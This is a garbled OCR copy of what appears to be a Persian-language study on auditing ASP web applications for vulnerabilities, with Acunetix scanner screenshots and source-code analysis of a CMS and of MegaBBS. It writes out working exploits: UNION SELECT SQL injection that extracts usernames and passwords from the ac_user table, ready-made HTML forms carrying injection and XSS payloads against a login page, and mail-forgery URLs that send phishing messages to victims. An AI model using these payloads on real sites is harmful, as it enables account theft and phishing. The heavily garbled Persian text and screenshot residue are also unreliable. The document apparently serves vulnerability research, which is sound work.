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( START >
v

=

Search for project
files
(File_No = Number
of files)

If i <= File_No

A

Yes

v

Select (i)th file of
project = BaseFile

\ i =¢i+1

v

Search for input parameters in BaseFile
(Param_No = Number of parameters)

l

j=1

j <= Param_No No

We must follow the parameter step by
step through the included files, switches,
procedures and functions. Also, we must

look for its changes or its duplication.

l

\ i=j |
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Version: 3.4.1
File Name: updates 3 4 1 f.zip
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Scanwizard x|

H Scan type Scan type

W S Select whether you want to zcan a single webgite, a list or range of websites or whether you want to analyze
- the results of a previous crawl.

Sican type

) Here you can zean a single website. In cage you want to scan a single web application and not the
whole site you can enter the full path below. The application supports HTTF and HTTPS websites.

s Scan single website
Website URL: | http: /Alocalhost! =

5 |f you zaved the site structure uzing the site crawler tool vou can uze the saved results here. The
[ zcah will load this data fram the file instead of crawling the site again.

" Sean using saved crawling results
Filehame: ﬂ =

I"l I case pou want ko scan a list of websites, you need to choose this option. Prepare a text file
containing the list of websiter and indicate the path of this file below.

" Scan a list of websites from a file
Filehame: ﬂ =

<y ‘Tou can also scan arange of computers. This wizard will inspect this range looking for HT TP and
" HTTPS websites. Y'ou may select individual websites later after the: discovery was finished.

" Sean arange of computers looking for websites

IP range: [132.168.0.1-30 =l
acunetix List of ports: [A081 443 E

< Back | Mest > I Cancel |

S50 dolp pudas ol o5 2-3 S

x|
u ype Select targets

B Select targets Pleaze wait until the scanning iz finished and then select the targets you want to zcan from the list below.
. For every target you can enter details such as operating system, webserver, technalagy or changs the base
| path. By entering these detailz you can reduce the scanning time.

List of targets

/localhost:80

Baze path !
Server banner Microsoft15/6.0
Target URL hittp: A flacalhost: 80/
Operating system windaws
‘wiehServer 115 6.0
Detected custom 404 emnor page Mo
] Optimize for following technologies [45P, ASP.NET, mod_ssl, mod_perl, OpenSSL, FrontPa

A5P
ASPMET
PHF
Perl

mod_perl
OpensS5L
FrontPage

Statuz: Done

acunetix

< Back | Mest » I Cancel

5095 Al eulass pgo o5 3-3 JSi



: X
Scan options

Here wou can get more options regarding the zcan : the profile to be uzed For zcanning, how the crawler will
work when scanning the website.

I~ Scanning profile

= o» Scanning profile will enable/disable different tests (or group of tests) from the test database.
Thiz could speed up the scanning process if vou just want to verify particular information,

Uze thiz scanning profile : | default -

[~ Crawling options

j These options will define the behaviour of the crawler for the curent scans. IF you want to modify
i the general crawler behaviour, wou should go to settings.

[w Start HTTP sniffer for manual crawling at the end of the process
[ Get first URL only

[w Do not fetch anwthing above start folder

v Fetoh files below bage folder

W Fetch directany indeses even if nat linked
[w Submit forms
[v Retrieve and process robots. et

[v Case insensitive paths

acunetix [v &nalyze JavaScript

< Back I Mest > I Cancel

)L{..SP MLS).g w.Ja.u P PL? 4—3 JS.»)

Login

Configure input/login details for pazsword protected areas or HTML forms

Qﬁ If wour website requires HTTF authentication [Basic or MTLM],
you need to provide the credentials below.

[ Authenticate with this usemame and password combination :

Username : |

Pazsword ; |

I~ HTML authentication [Login sequencet

Qﬁ If wour website requires HTML authentication, you need to record the steps required to login on the
website. Thiz will be saved as a login sequence file and can be used later.
“Y'ou can also specify & section of the website which you do not want to be crawled [for example
lirks that will lag you out from the webzite].

Login sequence ! <no login zequences -

Record new login sequence

acunetix

< Back | Mest » I Canecel

g5 adliyy s ooz plS -3 IS5
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0 dy 0 Oyg0 Ll Gk 5l s ASP Glorio (505,545 1z 0,5 (o0 o REQUESE plas JLso ;

Ow Adobe Dreamweaver (53
Fle Edt Yew Insert Modfy Text Commands Ste Window Help

bS5
¥ Application

v Insert Commen

¥ Tag Inspector

¥ Files

Files

[ st x| JLocal view
Re|dgvaa| R
Local Files

15 Site - test (D:\InetPub_Mainwwmron. .
admin

Snippets

css
datahases
images

B¥ Find and Replace

Find in: [Entire Current Local Site | = | best
Search: [Source Code -

Layout | Forms | Daka | Spry | Text | Favorites =,

ADOBE" DREAMWEAVER® CS3

Find Al

S

Find; |M

=
Replace

read_rite Replace:
sal

defauit.asp
default_banner.asp
default_banner_classic.asp
default_corkent.asp
default_lang.asp

2KB Artive 5.
4KB Artive 5.
1KB Active 5.
SKE Active 5...
2KE Active 5...

Options: [~ Match case
I™ Match whole word

Replace 4l

r Exchange »
[V Ianore whitespace

I™ Use regular expression

ZKE Active 5,
2KE Active 5...
3KE Active 5...
1KE Active 5.

default_mail asp
default_mail_aspemall.asp
default_mail_cdosys.asp

default_mail_jmail.asp ¥ Properties

=]

T

1] Meu Features »

default_main.asp 18KB Active 5., || o
default_menu.asp 2KB Active 5. €
default_menu_classic.asp SKB Active 5., l
default_menu_funictions.asp 8K Active 5.
default_menu_javascript.asp BKB Active 5.
default_menu_in_menuz.asp 32KB Active 5...

Reference | Validation | Brow

Compatibility Check | Link Checker | Site Reparts | FTR Log | Server Debug

| tatchedliext

default_rssstyle sl 1KB 4L Tran.. v Results Fearch
default_swfobjact.js EGREIENE I = '5
install.asp okB activeS.. N[ defauk.asp
install_actess_connect, asp SKB Active 5., =] dsfaule_content.asp
install_data_writs_sucress.asp 1KB ctive 5. defaulk_content.asp

default_content.asp
default_content.asp
defaul_content.asp
default_content.aso

install_fles_uploadTester asp 10KB Active 5.

T install_lang.asp 2B Active 5...¥
a4 »

VNN B VSV VSV A D O DO O O

tleTag = Request QueryStringl tem ey
IF (Request, QueryString formType") = "search’) then
FormType = Request.QueryString(FormTyps')

ElselF (Request.QueryString(temiD") <> ") Then
itemhlum = Request. QueryString"iemID")
Item_MMColParam = Request.QueryString temID")
Elself (Reauest.Form("cID") <3 ™ Then

L
Ninne 478 items Found in

@ Date: 3/5/2008 2:34 FM Log...

A dorument

Dreamweaver asb,; pgwi 6-3 <o

|, T sl SQL o coslgs o b amio 5l el 532 51 5 oS oo Jbis |, REQUESE plos >

Srdy wol 0 S5 @S 0 58, 5 cetlool, SQL INjection 5 XSS edle> jshaie 4,

‘Sos‘sw)ﬁ)bébhdﬁgwiﬁiouaflﬁwﬁdiWTﬁgowh@)%moMm
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Ll o pdy (ood plmil JolS & g0 4 al> o ol ax ST aS" aus suales Lol bl jo 05le oo (geim ) (5 i

05 Ol Ol Sl e Ghgy iz 5l Ll o Al oS eenles g (goaate slo (s pdy sl Lo ool

28,5 el ST (5,8
oy 5o DICAMWERVEX 5> 3.b 1, I,

Default.asp -



il 34 L 4

titleTag = Request.QueryString(“itemTitle")
o) S ool Lol Col 50 wo auplys a5 000,50 WS oy o titlETag  Jlis 4 candls Ji>

Ba> o] 5l ogs oo XSS el a5 SUjks slo xS T 5 L3 Ll (sl XSS g5 51 il gl alos 5
KPR
JB T 50 b it ond Ko b 9o izl el (50555 (58,5 lan o bolas s o5 Culs azgi wul,

i o8 5l 55z b o, titleTag b Jlis 4 5

<!--#include file="default_lang.asp" -->

<!--#include file="default_main.asp" -->

selb opl sgmian jo b sl eas INClUdE a5 LB o 55 la LB ool o a5 codl ol ol
Wb 4 ewolo (6 in WA Slxbo @mio 90 pl Gojgw 4 (DS L e asb asls oS5, titleTag
Sy ]y Dlorao ool U ogy pudlys 1018 0iS Jos 055 (6,5 Ojl>old s Lo (ST S j0 .aisd g

w5 2L, SQL Injection 3 XSS o> sy

.default_content.asp -
PPN 7 L 4o

formType = Request.QueryString("formType")
AL o Ul oo s FOrMTYPE a5 i o amiio ol sloaS™ jo

itemNum = Request.QueryString("itemID")
Item MM ColParam = Request.QueryString(“itemiD")

3o ol e 00id QT)" 8590 oolawl g 0gd o (g @,}fﬁgﬁmitemNum 0992 (6998 AS w0

Aol goae Wb iz a5 1> Cans canlio



A7 s

Item MM ColParam = Request.Form("clID")

29, oo 5 4 SOL sla conlys o 3l o Item MMColParam sl )l a5 o (oo oS o

Lol 17 las 8y ax quivn CandlS Jl> .l 00l o2l 3 SQL INjection < aiwe; YU 4 4> b

&
T
g
=l

11
12
13
14
1a
17
15
12

29d [zl b (b oS Canpo |y la byl b )8 (ol sl 098 (o0

el (o0 429 p) b

If (Fequest.(Queryitring|"formType™) = "search™] then
Ttem  MMColParam = getDefaultPage()
formnType = Fequest.Queryitring (" formType™)
ElseIf (Fequest.ueryitring("itenID™) <= ") Then
itemfum = Remquest. Queryitcring("itenID™)
if IsMumeric(itemMum) then
Trem  MMColParam = Redquest.ueryitring(™itemID™)
elze
Ttem  MMColParam = getDefaultPage()
end if
ElzeIf (Fequest.Form("cID™) <> ") Then
Trem  MMColParam = Redquest.Form("cID™)
Elze
Ttem  MMColParam = getDefaultPage()
End If

>l 17 Ls wsls J D 4 asb Jis itemID 4 wsls search il formType 3145 v o

29 [yl pj JSS @ b b cpl 950 Glp (w0 algs

default_content.asp?formType=&itemID=

D9 oo Jlo)l o1 51, POSt aie & y90 4 CID el )y a5
e oo Glei ) pj gl oS i o0 5 05 o0 L2 S8 e ) LB 0 >

ADODE Recordset errar B00a0bbY
Argurments are of the wrong type, are out of acceptable range, or are in conflict with one another.

fdefault_content.asp, line 26



&G@@&Q‘ﬁojo&oQbSQL Cnlgz 0 o azle b 5l L8 U pl &Sl @ azgi b
LB S g0 40 0g> L}Jl_cz O.i‘ as w.,),f s Azl o)Lxs Sg> 9 03l ol.i,l., a4y 518 Q.;j 49 Include
ConnaiiiS )oiS yloial |y (608 ] (0 B oS o |y BB T unles o 11 095 INClUdE WL S0
e (e 8 Geiod 050 pl S am eeslen a5 Sl gy (6500 69959 e RU Gl o
oS oo oolitl la b aen ,8 gt jilil lgie 4 default_content.asp

<l 03,5 INclude 1, default_content.asp b )1 ass a5 v o |, default_main.asp s

oS (50 590 |y ) Url S oo 1

default_main.asp?formType=&iteml D=

ADCODB. Recordset error B00a0bbS

Arguments are of the wrang type, are out of acceptable range, ar are in conflict with one anather.

fdefault_menu_javascript.asp, line B
B 093 a5 a0 4 ol 4 default_menu_javascript.asp Ll sleas o as ool 4 azg L
sas INClUDE sl ools oKL 4 CONNECLION ol> a5 s LB G o Wb ;s default._main.asp
(w05 o default_main.asp Jlos 4 bl ase 4o o,bgs 13 .ol
Aol Joli ) Lo e 8,90 bl a5 oS e low |, default.asp ol s

oS oo 590 1y 25 UM 55950 50 1)
default.aspormType=&itemID=
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=] If (Fequest.ueryitring("formType™) = "search’™) then
) Item IMMColParam = getDefaultPager)
a fornType = FEedquest.Queryitring("formType™)
Elzelf [(Recquest.ueryitring("itenID™) <> ""1 Then
s itemfum = Bequest.uervitring(“itemID™)
11 if IzMumeric(itemfum) then
1z ITtem MMColParam = Request.Queryitring(”itenID™)
13 elze
Item IMMColParam = getDefaultPager)
14 end if
16 Elzelf [(Request.Form("cID™) <> "] Then
17 Item MMColParam = Request.Form("cID™)
15 Elze
Item IMMColParam = getDefaultPager)
12 End 1f

< |, REQUESLFOMM(“CID") e o5 505 oy 5 (o iy el ialejl sl o2 5.

055 5900 1y 25 URL w5 05" Jous Request(“cID”)
default.aspormType=&itemlD=& cID=[SQL Injection]
|, 095 15 POSt sie b g auitl asils ob a1, s cpl b JS EXPIOIt cpiigs (6l a5 coils az g5 il

ol b sl oo solasul Request.Form(“cID”) o 3l 6,50 sl o ST ioren pues plod]

loaRd s 50
0SS 0] ey 58 (St 5 S S POSE wite b ol 51 a8 sl cpl K00 i,

i pl 00,8 ookl Jgl gy 5l (e

Elzelf (Becuest("cID™) <= M) Theﬂ

Ttem MMColParam = Recquest("cID™)
Elze

Ttem  MMColParam = getDefaultPage()
End If

szt J

default.aspormType=&itemlD=& cID=[SQL Injection]



Microsoft OLE DB Pravider for ODBEC Drivers error S0040=10°
[Microsoft][ODBC Microsoft Access Driver] Too few parameters. Expected 1.

fdefault_content.asp, line 31
5L sl CONNECLION 45 i o 5 oS 0 o5 dEfaUIlt_content.asp 31 Ls « lecl 3dea5

ol QUETNY ol oaisles 5 bas logds oo
ItemCheck.Source = "SELECT * FROM ac_item WHERE ID =" & Item__MMColParam & ""
POV STRLIOL:|L | E

default.aspormType=& itemlD=& cID=-1 union select 1,username,3,password,5,6,7,8,9,10,'1-1-
2000','1-1-2010' from ac_user

ol e o plas 1) (eas URLENCOAE s s RCA L sss 50,) joue 30, 5 55 pb 45 i o0
Cutmo E9o50 45 Wl g0 Cawd 4 ol als oKl 4 4z g L 5 SQL slo cnlys o g juils b s
2o 5l CenedlS EXPlOIt iigs 6l 9 20,5 lows |, SQL INjection s pdy camwl opdgl bes! b

:enle wgllae EXPIOIt LB led pl g oS oo opmd NIMI IS @0 1) 55 b oS oolasn! POSt

<form action="http://[ The URL]/default.aspormType=& iteml D=" method="post">
<input type="text" name="cID" id="cID" value="-1 union select
1,username,3,password,5,6,7,8,9,10,'1-1-2000','1-1-2010' from ac_user" />

<br />

<input type="submit" value="Submit" />

</form>

.default_lang.asp -

4 L



myStr = request.servervariables("url")

alol sz ol Sl1as 1> 0.5 o5 ol 516 adlol sz ol @ ol oo a5 08 o |, URL Lz )

ekl pleae S1aS oil alils dz g Wb logd god 3L 500 pedlss g0 a5 (5l din (S

request.servervariables("HTTP_REFERER")

request.servervariables("HTTP_USER_AGENT")

e yeid (Solo |y sl polie oilys o el axisls sl asile

.default_mail.asp -
21 Ls

typeStr = Request("FormType")

S, cols sl caml gl gg Ol Cys aid s oyl

default_mail_aspemail.asp -
14 413 412 Lshs

Mail.From = Request("From")
Mail.FromName = Request("FromName")
Mail.AddAddress Request("To")

Y MTG&M).%@L.» ladlas (6,550 a> g ouds ool (o) sl gz o ol b ol L] yo
Qlgi oo 490 oy 5l Ojso a4 oS o aS Al aule> axgie S5 oS ol b cisl oligS axian cpl 0 9>
Sleie 4 ol o Tt 2 sl (100 Gl cole solais] L) oaios g b g axio (pl S5 4
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039> 3l ) 45 20,5 loy ;00 6l cel SO Lo waus aS b les 13ged 00id g Casa b

il 35 O yg0 4 EXPIOIT 09 sl g Jow jloan ] 50,5 o Lol g0 Lo b (1S
default_mail_aspemail.asp?AcidcatSend=1& From=Fake@Site.com& FromName=FakeAdmin&
To=Victim@Email.com& Subject=Forgery& Body=Change your password to 123456!

.default_mail _cdosys.asp -
:30 529 4 28 Lgks

ObjSendMail.To = Request("To")
ObjSendMail.Subject = Request(" Subject™)
ObjSendMail.From = Request("From")

o] dbio Joo Cawyo g lylad (6,500 ans g ool colatwl 05 Jues! gz b yel)b ol 5 il o
WS oo oolitul easl 485 slp Conl 5 Jolae a5 Koo ObJECE < 5l acdl a8 el 3 pdy

default_mail_cdosys.asp?
AcidcatSend=1& From=Fake@Site.com& FromName=FakeAdmin& To=Victim@Email.com& S
ubject=Forgery& Body=Change your password to 123456!

@ gy oo L a4 Gloser Dlxbo pl Yeeme 5 ol (L8 oile BBs 500 ol opl IS0 aSolil )
Bgd ol gatte (N> S pdy cowl g

.default_mail_jmail.asp -

125 8 Lyls

msg.From = Request("From™)
msg.FromName = Request("FromName")
msg.AddRecipient Request("To")
msg.Subject = Request(" Subject™)
msg.Body = Mail.Body = Request("Body")



o] Sliao Jro ey g l0ylad (6,500 dim g ouls oolaiwl (405 el S byl ol 50 el jo
1S oo oolitul easl 485 slp ol Jglaie ;S a5 o0 ODJECE G 5l adl oS ol L 1l

default_mail_jmail.asp?
AcidcatSend=1& From=Fake@Site.com& FromName=FakeAdmin& To=Victim@Email.com& S
ubject=Forgery& Body=Change your password to 123456!

:main_login2.asp -
34 Ls

MM _LoginAction = Request.ServerVariables("URL")
S0 6 pd ] oz pl ol 4isS DS a5 jglailen

:39 Las

MM _LoginAction=MM_LoginAction + "?' + Request.QueryString
Lol 00l oolatwl ol> yo a8

64 L

Response.Redirect(Request. Query String("accessdenied™))
ol XSS ale> )lgs o @CCESSARNIED ol b crni b aS > 0,15 3925 (6 pdy o] SO Bacld x|

Jaie a5l pews wigs JB- MM_valUusername ,wl,b wb ol sl g o ol 4 cyou, sl ol
Il 9o G395 o (B0 laie xS MM_valUsername Jb> .ails 45 5 ools oL 5l ool bl
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L6 LT 5l MM _valUsername ;)b a5 oo Include S L1 5 0 main_login2.asp sy
bl it 9 et |, Wl oo iNnClude main_login2.asp o a5 olbl oSyl Ko >
w5 Jss I, MM _valUsername

S 0,5 S L g 00,55 INClude 1, main_login2.asp Lk me awis (oo Jol <l oy 5 om
s g 039 puimo pgd Sl a5l iy bxisl 5118 ls dgg eas aulais BB pl b 4 T ActiONn
ol p 50 e cpl LGS 0 ey 0 o e |, MM _valUsername luis oo include slebls ;|
w05 s MaN_00iN2.83P acgommes ;5 sleblé

15,8 D929 ;) ol @dmMin/admin_encrypt.asp Ll ;o a5 puS o canlie

dim MM Logindction,MM wallUsername MM valPassword
if (Fequest.Form("username™)«<>""] then
MM walUsername=Request. Form (" username’)
MM walPassword=Request. Form("password™)

dim MM walUsernames, MM wallUsername3, MM walFasswordZ, MM walPassword3
MM walUsername:s = EnDeCrypt (MM _walUsername, MM walPassword)
MM wallUsernames = server.urlencode (MM _wvalUsernames)

end if

Cowyd G JSie b 050 (o (B0 lie aisS> MM_valUsername e o5 pio (oo il 5o
el 44 s SQL conlgs jo 0,8

MM _rsUser.Source = "SELECT ID, Type, Username, Password FROM ac_user WHERE
Username="" & MM _vaUsername &"' AND Password="" & MM_vaUsername3 & "™

AL aLls 0939 AilgE oo LS00 Sl cam] Gloxe @ SQL Injection al.> aS g o0 A gio Lnien

2 05 oo, SQL culgs o ans; o L3 S me e MM_vaUsername ,lais o5 |,>
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Pl Cawyd 89,9 45 a8l o GiSI XSS (608 ol (89 (92 m 09 3l H5053 D90 4 WS e
Lol Coodl LB oS m2 jeim Ll cul Jloy95 1 oS L Coenl ax o SIXSS 68y ol il oo
Ol B9y 85 Sy a5 ol 50 ol ol S8 g a8 S (b L 2l 45 CandlS (e aiS (nl Sl
wlo |) p)8 a5 pakd o3 aSul e i p e ]y ol 5 05 (Bge 1) 0j5my Bl (oo WS g0 SIS

Ao pll logdin 1) S50

s s 5 (x4 azgi L EXPIOIT () oy walss 5 255 4 ez 5 g 28 el EXPIOIT oy

5 Sy pb dls e Colw jo ol oo Exploit ol b (sl osel caws 0 RCA (615550, v ,6X)!

25 Login s 5,
1(XSS) 3 s pmay wuw! Exploit

<form action="main_|ogin2.asp?accessdenied=javascript:alert('’X SS)" method="post">

<input type="hidden" name="username" id="username" value="FooNot" union select
1,2,3,'%CE%10%C9%CE%A C%0F%F3%07A %91%8B %1B%9FF%2D %D F¥%EBcO%9A u%5
F%28%80%A 5%0D %D 0%89%EA %EF%3E%0B B%B DXx%5FY0EM % 7C%09%2C%B 6s%9D
Y%EA a%2FgX %7E%008%05%CA Z%26%1ET%10%CE' from ac_user where
Username="1'or'l'="1'or'1'="1" size="200"/>

<br />

<input type="hidden" name="password" id="password" value="0" />

<br />

<input type="submit" value="Click To Login!" />

<fform>

(SQL Injection) 4 s »ds —uw! Exploit

<form action="main_login2.asp" method="post">



<input type="hidden" name="username" id="username" value="FooNot' union select
1,2,3,'%CE%10%C9%CE%A C%0F%F3%07A %91%38B %1B %9FF%2D %D F¥%EBcO%9A u%5
F%28%80%A 5%0D %D 0%89%EA %EFY%3E%B B%B DX%5FY0EM %7C%09%2C%B 6s%9D
Y%EA a%2FgX % 7E%08%05%CA Z%26%1ET%10%CE' from ac_user where
Username="1'or'l'="1'or'1'="1" size="200"/>

<br />

<input type="hidden" name="password" id="password" value="0" />

<br />

<input type="submit" value="Click To Login!" />

</form>

:main_login_code.asp -
341 Lo

logoutVar = CStr(Request("referrer))
Sl solaiwl b i SO o g

Moz (mins g ogdle a5 1S B8 Wb el o, ADMIN wigy 4 Cog &5 puin oo J>
L 5 cpl (axal awslas 5L 0,8 LOgIN & cm) andl cwyiws b6 oxlos Jawgs puien lal
admin/ ; admin/admin_scripts.asp ,s 45 ass . el @dmin/admin_login_check.asp
5k asb eo,s INClude 55 1) ol (LB o L .l sus iNClude ;.5 admin_scripts 1252.asp

oS oo (5,009 &5l 100N @ 5Ls a5 Slxio iig 5l e w0,lo LOGIN

admin_colors_swatch.asp -
3 Las

var formField = String(Request.QueryString(“field"));
il XSS 5l aee; wilgs o Sl a8y IS 408 e o formField 09> &S



function ClickColor{ThisColor) {

Color = ThisColaor:

nyCell.bgColor = Color;

nyFormn. nyText.value= Colaor;
opener.mainform.<3=fornField%>.wvalue = Color;
window. close()

)
ot 5 A, (S 2w (lgie 4 Ca S

admin/admin_colors_swatch.asp?field=value=";} dert("X SS);function(){ myForm.myText

admin_lang.asp -
5 L

myStr = request.servervariables("url")

admin_lang_login.asp -
5 L

myStr = request.servervariables("url™)

admin_users edit_form2.asp -
5 Ls

myParam = Request.Form("ID")
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admin_users view.asp -
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For Each Item In Request.QueryString
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Dw Adobe Dreamweaver £53 oy =1

File Edit

Vew Insert Modfy Iext

Ste Window Help

P55

winsert Common  Layout | Forms | Data | Spry | Text | Favories

P Application

¥ Taq Inspector

¥ Files

[ est

=] [Local view
he|laras|@

Bw Find and Replace: —[B]x

Loc.

Find in: |Entive Curvent Local Ste ™ | test EndMext | |mples

5
Y

EEEEEEEEEE

B
B
B
B
B
B
B
B
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install_stepl_sceess.asp
install_stepl_mssql.asp
install_stepl_mysql.asp
install_step2_access.asp
install_step2_mssql.asp
install_step2_mysql.asp
install_step3_access.asp
install_step3_mssql.asp
install_step3_mysql.asp
install_step3_update.asp
install_stepd_sceess.asp
install_stepd_mssal.asp
install_stepd_iysql.asp
install_stepS_sceess.asp
install_stepS_mssal.asp
install_stepS_iysdl.asp
install_stepé_sceess.asp
install_stepé_mssal.asp
install_stepé_Tysql.asp
license_commercial, doc
license_commercial2. doc
license_personal.doc
login_form.asp
main_login, asp

Search: |Source Code - H & Find All et
Fing: [.Source =
Replace Theme)
o o |
=l
|

Replaceal | [F%5)

Replace:

Options: [~ Makch case ¥ 1gnore whitespace

I ratch whele wordd I Use regular expression I Exchange »

e

|| Getting Started » Get the most out of Dreamweaver

Find regularly updated tips, techniques,
podcasts, interviews, and more in Adobe Bridgs
| Resources » Horme by choosing File = Browss in Brige

] Mew Features »

¥ Properties

¥ Results  Search  Reference | Validation | Browser Compatibiity Check | Link Checker | Site Reports | FTP Log | Server Debug

Flle [ Matched Text
default_content. asp TtemCheck, Source = "SELECT * FROM ac_item WHERE ID =" & Item__MMColParam & ™
default_content. asp Ttem,Source

B

main_login.asp

"SELECT * FROM ac_jtem 'WHERE 1D =" & Item__MMColParam & "'

G2 1local items selected tataling 3074 bytes.

EEE!

main_login_code. asp
main_login_heading.asp
readme htm

test.asp

default_menu_classic.asp Trem,Source = "SELECT * FROM ac_jtem WHERE Category_ID =" &,
default_menu_functions.asp Iltem,Source = myCatID
default_menu_javascript asp Kategary.Source = "SELECT * FROM ac_category WHERE ID > 0 ORDER BV VerticalPosition ASC, Name ASC'
default_menu_javascriptasp Jltem.Source = myCatID
defaulk_menu_javascript.asp b2 Source = myCatiDz
- install_files_uploadTester asp config, Souwce = "SELECT * FROM ac_configuration”

) install_step3_updiate.asp Config, 5ource = "SELECT * FROM ac_configuration”

instal_step3_update.asp call dataLipdateError 24(MHM_oConn_STRING,Err, Source Err. Description) =
(o9 |l|  Done, 79 tems Found in 258 documents.

myCatID = "SELECT * FROM ac_jtem WHERE Category_|D

Dreamweaver asb,; pgwi 6-3 <o

.default_content.asp -

.default_menu_functions.asp -

" & catlD & " ORDER BY

VerticalPosition DESC, Title DESC"

PrintltemF b peies Wb o o3 b olo s 1y o] Gl oo puim 9 0,50 CAEID Jlss & wub J>

by slaas’ i 0,5 Jlso g (uiled siajls g 0oy pile) Jlww I cpl 0gd (o0 005 lao Sl ax



Oleale U midlys S0 (o S8 s g 00 S0 Sy Gyzme bl (g 1) sl o e ol il Ll
Fol Jl o sl cnl (65) yitn loy Bpo oS 2 1S o0 CiBste nien | IS iy o5 UPIORD 1,
ol 3g 513 ST el asles ASP by (el amd jiies g (Sheel S 5l g ol solamdl ad e Koo
AL 50 a5 )5 D)largld alpe fes pladl pogdle Sl (o0 S oy o5 Djgo ar ) sl
LgL(bLg).i..'\iw]jOW\)MU)QQ?&)[%#%‘I}05M;9M&&r:l.‘gd‘yedgyﬁibdyo..\.&w

:&gomdﬁfq@—l—Z—a
390 ASP 1l; 4 oS Igioe o e aslipy S j8 5055 &g 4 lires S Heb 4 bl o L
Srd ol 93 oly cpl o i XSS, SQL Injection S o9 89 Jyere o G pdy cow] Lo
G 6ndy el (b & 0g J ol 5 b plelid aids 15 sga o o Sogs iy Ly
Coms 6 5VL Sl 511 90 00 oy slo (508 ol 510 oy o g el 90 (b (s D50
P S0 alewg 4 g €S Caws |y wilels Co o g oo (SO aliwg 4 aS | )10 95 0 Al @
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GiS Sel g 03555 515,55 arstlae el 5 sy 45 28T Az Olyd e Ly 5l el 03,55 Lzl elS 1,

3,18 3925 lizres 15 £eiite 9 ax Sb (5l el

:MegaBBS al y sl b Gard 4o 55 T 1.2.3.3

Vendor: http://www.pd9soft.com/

Version: 2.2



File Name: megabbs2.2.zip, megabbs2.2-access.zip
Current Address:
http://www.pd9soft.com/megabbs-support/megabbs2.2.zip
http://www.pd9soft.com/megabbs-support/megabbs2.2-access.zip
http://www.pd9soft.com/megabbs-support/megabbs2.2-mssgl.zip
http://www.pd9soft.com/megabbs-support/megabbs2.2-mysgl.zip
e LLL S s>l sl Dreamweaver L -

29 oo plail aelyy SaS Gl o aligy b o b1 @y (j0ls ez 5 JolS caad =l -2
AL 380 o b cuile Ojg0 4 Wil o a5 0 5 (0 Djgeo Al pe ol 4o e lel -0

5 ases ACCUNELIX oL 4 (5,15 b suile al> o -1-o

] 5 S 4 delp ol
Scanwizard X

N Scan Type Scan Type

Select whether you want to scan a single website, a list or range of websites or whather you want to analyze
the results of a previous crawl.

Scan type

) Here you cah scan a single website. In case you want to zcan a single web application and nat the
whole site you can enter the full path below. The application supports HTTF and HTTPS websites.

¢ Scan zsingle website
Wiebsite IRL: | kitp: //localhost ~|

5 |f you saved the site structure wzing the site crawler ool pou can use the saved results here. The
[ zoan will lnad this data from the file instead of crawling the: site again.

7 Scan uzing zaved crawling resulks
Filenarne: ﬂ =

FHL Ih caze pou wanht bo zcan a list of websites, pou need to choose this option. Prepare a text file
is cohtaining the list of websites ahd indicate the path af this file below.

" Scan alist of websites from a file
Filename: ﬂ =

< B “r'ou can alzo scan a range of computers. This wizard will inspect this range looking for HTTP and
5 HTTPS websites. You may select individual websites later after the discovery was finished.

7 Scan arange of computers lnoking far websites
IP range: |192.1 £E.0.1-30 =l

acunetix List of perts: | 0,443 ~]

< Back | Mest > I Cancel |

s> deliy pudas Jsl o8 7-3 I



4
" Type Select Targets

PR PO Ple e wait until the scanning is finished and then select the targets wou want to scan from the list below,
For every target pou can enter detailz such az operating systern, webserver, technology or change the base
path. By entering these details you can reduce the zcanning time.

List of taraets

B 4 localhost:80
Baze path !
Server banner Microzoft-115/6.0
Target LURL http:/flocalhost: 80/
Operating system Windowes
WebServer 15 6.0
Detected custorn 404 error page Mo
E Optimize for following technologies [ASP.MET]
ASP
ASPMET
FHF
Perl
mod_zsl
mad_perl
mod_python
OpenS5SL
FrontPage
JRun
Statuzs . Done

|»

1

acunetix

< Back | Mest » I Cancel |

)15095 ML;).} p.»-lda.‘ P9 ‘nlf 8—3 Ji..u

Crawling Options

Here you can et crawling options.

ptions

Crawlitg options

j?‘ These optiohs will define the behaviour of the crawler for the current scans. IF pou want to modify
the general crawler behaviour, pou should go to settings.

[ Stat HTTP sniffer for manual crawling at the end of the process
[ Gt first URL anly

|w Do not fetch anpthing sbove start folder

[v Fetch files below base folder

[w Feteh directony indexes even if not linked

[v Submit forms

|w Fetrieve and process robots tt, sitemap.sml

[w lgnore CASE differences in paths

[w Enable C54 [analyze and execute JavaS criptis)ax)

[ After crawling let me choose the files to scan

acunetix

< Back | Mest » I Cancel

5055 asliyy kst pows o5 9-3 IS




Scan Options

Here you can zet zcan options.

Scanning profile

= » Scanning prafile will enabledisable different tests [or group of tests] from the test database.
“¥  Thiz could speed up the scanning process iF vou just want to verify zome particular information.

|Use this zcanning profile: | default 7

Scan optiohs

K Thesze options will define the behaviour of the scan for the cunent scans. If you want to modify the
general ecan behawiour, pou should go to zettings.

Scanning mode: | Cuick, | Help

v Test known web application vulnerabilities on every directory
[For a large number of directaries, enabling this option will generate a lot of HT TP requests.]
v Manipulate HT TP headers [Referer, User-agent, ...)

v Check for stored 355 [cross site scripting)

acunetix

< Back | Mest » | Cancel

JS55 anli s pelas p ez o5 10-3 s

Login

Configure input/login detailz for pagzword protected areas or HTHL forms

-~ HTTF Authentication-
Sﬁ If pour webszite reguirez HT TP authentication (B azic or MTLM),
wou need to provide the credentials below,

[ Authenticate with this usermame and password combination :
Usemame s |
Password ;|

— HTML Authentication [Login Sequence]

&3 IF pour website reguires HTML authentication, you need ta recaord the steps required to login on the
webzite, Thiz will be zaved az a login sequence file and can be uzed later,

You can alzo specify a section of the webszite which you do not want o be crawled [for example
linkz that will lag you out fram the website).

Login sequence | megabbs v

Recard Hew Login Sequence

acunetix

¢ Back | Mest » | Cancel
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/profile/control panel.asp ,» SQL Inection s 3 co!

L, b Upload & i coml ity

/profile/control panel .asp , /forumg/attach-file.asp
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ASP slzmio 53955 45 112 (aigh 455 )15 4 SQL culss jo asile olr o b wigd aisy, (6 ke
b amio 5l 65l 552 15 S oo JUio |, bREQUESE plos Jl> 003y g0 &30 Wil Gl 5l Lo
o S5m, g caslosl SQL INjection 3 XSS edles jshate @ |, Ll waxal SQL sl cdlgs o
ol plo o oS |12 Can pdy el g5 99 (e Laid jslaie ais oaalive 6 8y ol s ST g @S
e plail 5 oIS 42,8 1, S lorsls leril oo o Bl 41 €8 (0niS b gyt Dlad | o (5 0
kol don Lo a5 0550 w0l XSS (g 0dy sl 10 05l (o0 (3020 (5t o 628 ol 4 ) Lo
P amio S o wols oL jo b ouds b Al Ol ol aS | oS oy (g, ol b il e
laiS” oo ol 1, XSS ales oz

